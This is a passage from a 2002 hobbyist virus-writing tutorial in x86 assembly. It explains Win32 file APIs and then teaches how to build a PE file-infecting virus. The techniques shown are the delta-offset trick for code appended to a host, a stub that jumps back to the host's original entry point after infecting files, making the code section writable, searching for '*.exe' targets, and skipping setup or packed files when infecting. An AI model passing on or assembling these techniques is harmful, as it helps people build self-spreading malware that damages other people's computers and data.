   If the function fails, the return value is zero. 
 
   Example: 
 
      push dword Win32data         ; address of Win32data  
      push dword [search_handle]   ; handle to search  
   call FindNextFileA    
         cmp eax,0                 ; no more file? 
      je error                     ; 
       
    ____________________________________________________________________________ 
 
                                 ++++++++++++++ 
                                 + CreateFile + 
                                 ++++++++++++++ 
 
   The CreateFile function creates or opens the following objects and returns a 
   handle that can be used to access the object:  
 
   files, pipes , mailslots ,communications resources ,disk devices (Windows NT 
   only) consoles ,directories (open only) 
 
 
   example: 
 
      push dword 0 
      push dword 0 
      push byte 3               ; OPEN_EXISTING flag: Opens the file. 
      push dword 0 
      push dword 3              ; FILE_SHARE_READ n' FILE_SHARE_WRITE flags.  
      push dword 0c0000000h     ; flag for Read/Write access 
      push dword FileName       ; FileName address in win32data (File to open) 
   call CreateFileA             ; return eax=handle of the file 
      mov [handle+ebp],eax      ; save handle of the file 
      inc eax                   ; 
      jz erreur                 ; if eax=0ffffffffh then error 
 
   _____________________________________________________________________________ 
 
 
   See also the APIs  CreateFileMapping 
                      MapViewOfFile 
                      OpenFileMapping 
                      UnmapViewOfFile 
                      MapAndLoad 
                      UnMapAndLoad 
                      CloseHandle 
                      SetEndOfFile 
                      SetFileTime 
                      WriteFile 
                      ReadFile 
                      SetFilePointer 
                      SetCurrentDirectory 
                      GetCurrentDirectory 
                      GetWindoxsDirectory 
 
 
            ============================================================= 
            +                        ________                           + 
            +         /\      |---\     |           |    |       _____  + 
            +        /  \     |    |    |         --+----+--         /  + 
            +       /    \    |___/     |           |    |          /   + 
            +      /------\   |   \     |         --+----+--       /    + 
            +     /        \  |    \    |           |    |        /     + 
            +                                                           + 
            ============================================================= 
 
                                 DELTA OFFSET 
 
 
   I will now explain to you the DELTA OFFSET but first take a look at your 
   first WIN32 program (hello.EXE) 
 
   I you have understood how a PE .EXE file is made so you will understand 
   that the code section begin at offset 00401000h (entry_point+image_base) 
   (in a standard PE file, normaly linked) 
 
 
   OFFSET    |  OPCODE IN HEX VALUE             |   CODE                
   ----------|----------------------------------|---------------------- 
   00401000h |  6A00                            |   push byte 0         
   00401002h |  681A104000                      |   push dword caption  
   00401007h |  6834104000                      |   push dword text     
   0040100Ch |  6A00                            |   push byte 0         
   0040100Eh |  E8ED0F0000                      |   call MessageBoxA  
   00401013h |  6A00                            |   push byte 0     
   00401015h |  E8EC0F0000                      |   call ExitProcess  
   0040101Ah |  596F757220666972737420          |   caption db "Your first 
             |  57494E33322070726F6772616D6D00  |   WIN32 programm",0 
   00401034h |  48454C4C4F00                    |   test db "HELLO",0    
 
 
   look now at offset 00401002h , you see that : 68 1A104000 
                                                 |     | 
                            +--------------------+     | 
                            |                          | 
                    +--------------------------+ +-----------+ 
                    | push on stack the dword  | | 0040101Ah | 
                    +-------------+------------+ +-----------+ 
                                  | push dword | | caption   | 
                                  +------------+ +-----------+ 
 
   Did you see our problem ? NO ! so imagine that you put this piece of code at 
   the end of one another file (like a virus do) , so the code will not run 
   because the address of "caption" label has change ! ! ! 
   It will not run for a second reason: The IMPORT section is not the same... 
 
   The delta offset technique is the most used: 
 
 
      call delta          ; (push eip) 
   delta: 
      pop ebp             ; (ebp=eip) 
      sub ebp,dword delta 
 
 
   when you make a CALL the value of the EIP register is push on stack so you 
   pop him (pop ebp) and sub him to the dword 'offset delta' and now ebp point 
   to delta label (ebp=offset delta) 
 
 
   so the code:            mov eax,dword label1 
                           mov ebx,dword[label2] 
 
 
   should be change in :   call delta 
                           delta: 
                           pop ebp 
                           sub ebp,dword delta 
 
                           lea eax,[label1+ebp] 
                           mov ebx,dword[label2+ebp] 
 
 
   CLEAR ? ? ? There is other technique to do the same thing with no use of the 
   delta technique... 
    
   Note that you can do this too: 
 
   call delta 
   delta: 
   pop edx 
   sub eax,dword delta 
   ... 
   ... 
   ... 
   lea eax,[label1+edx] 
   mov ebx,dword[label2+edx] 
 
   but the register edx should never change in all your code ! ! ! 
 
 
            ============================================================= 
            +                        ________                           + 
            +         /\      |---\     |           |    |        ____  + 
            +        /  \     |    |    |         --+----+--     /    \ + 
            +       /    \    |___/     |           |    |       \____/ + 
            +      /------\   |   \     |         --+----+--     /    \ + 
            +     /        \  |    \    |           |    |       \____/ + 
            +                                                           + 
            ============================================================= 
 
 
                               RETURN TO THE HOST 
 
 
   A WIN32 PE .EXE file begin with eax=program_entry_point. 
   To return to the host it's very simple: 
 
virus_begin_here: 
 
      pushad                                  ; save registers on stack 
 
      ; 
      ; INFECT FILES ! 
      ; 
 
      mov eax,dword[image_base+ebp]           ; 
      add eax,dword[original_entry_point+ebp] ; 
      mov dword[jump+ebp+1],eax               ; simulate a jmp to original entry  
                                              ; point 
 
      popad            ; restore registers 
jump: 
      db 68h,0,0,0,0   ; simulate push word[address_of_original_entry_point+ebp] 
   ret                 ; return to the host !!!!!!! 
 
 
 
            ============================================================= 
            +                        ________                           + 
            +         /\      |---\     |           |    |        ____  + 
            +        /  \     |    |    |         --+----+--     /    \ + 
            +       /    \    |___/     |           |    |       \____/ + 
            +      /------\   |   \     |         --+----+--         /  + 
            +     /        \  |    \    |           |    |        __/   + 
            +                                                           + 
            ============================================================= 
    
 
                             ************************** 
                             * CODE SECTION WRITEABLE * 
                             ************************** 
 
   when you code a virus you put your code, data, idata in only one section (in  
   the code section) But when the linker link your vx it create a 'non 
   writeable' code section so you have to change the flag of your code section  
   (in object table) 
 
   quick view in hexadecimal: 
 
   when you link an 'normal' program, the code section looks like (in object 
   table): 
 
 
00000160                           43 4F 44 45 00 00 00 00          CODE.... 
00000170   00 10 00 00 00 10 00 00 CF 00 00 00 00 04 00 00  ................ 
00000180   00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60  ................ 
 
 
   at offset 18Ch you see the flag: 60000060h  
 
                   200000000h Executable object 
                 + 400000000h Readable object 
                 + 000000020h Code object 
                 + 000000040h Initialized data object 
                   ---------- 
                   60000060h 
 
   so with this flag you can't write on this section , so change the flags!!! 
   (don't forget to inverse the byte of the dword !!) 
 
 
                                  ******************** 
                                  * REDUCE YOUR CODE * 
                                  ******************** 
 
   You can optimise your code for two reasons: 
 
          - To have a code which run faster. 
          - To have the smallest code possible. 
 
   Theses two aspect of optimisation are very interesting for a virus, but  
   I will speak here only about how to have the smallest code possible. 
 
   Of course you can use some old trick like : (read old V zine) 
 
   xor eax,eax      instead of      push dword 0 
   push eax             .           push dword 0 
   push eax             .           push dword 0 
   push eax             . 
 
   or eax,eax       instead of      cmp eax,0 
   jz go_somewhere      .           je go_somewhere 
 
   xor eax,eax      instead of      mov eax,4 
   mov al,4             .            
 
   jecxz go_away    instead of      cmp ecx,0 
                        .           je go_away 
 
 
   But I will not tell you here how to minimize your op codes...Let's read zine. 
   Imagine now that you have minimize your op codes to the maximum ! You can 
   still reduce your code...HOW? take a look at your buffers, they take an  
   enormous place in your code. I think to the Win32Data buffer for example. 
 
      Win32data: 
             FileAttributes           dd 0 
             CreationTime             dd 0,0 
             LastAccessTime           dd 0,0 
             LastWriteTime            dd 0,0 
             FileSizeHigh             dd 0 
             FileSizeLow              dd 0 
             Reserved0                dd 0 
             Reserved1                dd 0 
             FileName                 resb 260 
             AlternateFileName        resb 13 
 
 
   317 bytes long !!!!! The trick is not to put your buffer in the code but in  
   memory. 
   To do that you need an API to allocate memory: You can use GlobalAlloc. 
 
;------------------------------------------------------------------------------; 
      push dword 317                ; nb of byte to allocate                   ; 
      push dword 40h                ; ZERO_INIT flag                           ; 
   call [XGlobalAllocX+ebp]         ; [XGlobalAllocX] is the address of        ; 
                                    ; GlobalAlloc API you have found after     ; 
                                    ; scanning IMPORT or EXPORT table          ; 
      mov dword[mem_alloc+ebp],eax  ; save the offset of the allocated memory  ; 
;------------------------------------------------------------------------------; 
 
   Ok. Now you have allocated some memory for your Win32DATA. Use this  
   memory_buffer like this: 
 
;---------------------------------------------------------------------------; 
;********************                                                       ; 
find_first:       ;**                                                       ; 
;********************                                                       ; 
       mov  eax,[mem_alloc+ebp]            ;                                ; 
       push eax                            ; offset of Win32 in memory      ; 
       lea  eax,[exe_mask+ebp]             ;                                ; 
       push eax                            ; file to find                   ; 
   call dword [XFindFirstFileAX+ebp]       ; search!                        ; 
       mov  dword[search_handle+ebp],eax   ; save handle                    ; 
   ret                                                                      ; 
      exe_mask       db "*.exe",0                                           ; 
      search_handle  dd 0                                                   ; 
                                                                            ; 
;---------------------------------------------------------------------------- 
  
   use push      dword[mem_alloc+ebp]  to free the memory 
                 call [XGlobalFreeX] 
 
   If you have a lot of buffer you can reduce your code by 400 or 500 bytes ! 
   It is not very hard to adjust your code. 
 
   Cool isn't it? 
 
 
 
                           ********************** 
                           * COMPRESSED PE FILE * 
                           ********************** 
 
 
   Some PE .EXE are compressed by some software like UPX. It's cool when you 
   want to reduce the size of the .EXE ( to put in an download area on the web 
   for example) I know only 3 way to check them: 
 
   - number of APIs imported: 
 
   in a PE .EXE compressed file, the import section contains only a few APIs 
   imported. You can check the number of APIs imported from kernel32.dll and you 
   should avoid the infection if the file imports less than 7,8 or 10 APIs 
 
   - flags of the section in object table... 
 
   Some PE compressor set special flag of the section in the object table 
 
   - ASCII name of the file 
 
   You can check if the file name contains those words: setup, install, ... 
   You should not infect those type of file !!!!!!!!!! 
 
 
 
========================================================================== 
========================================================================== 
 
   I hope that this tutorial will help you but don't forget this: 
 
   DON'T DESTROY ANYTHING !!! 
 
   PEACE ! 
 
   LiTlLe VxW 
 
   October 2002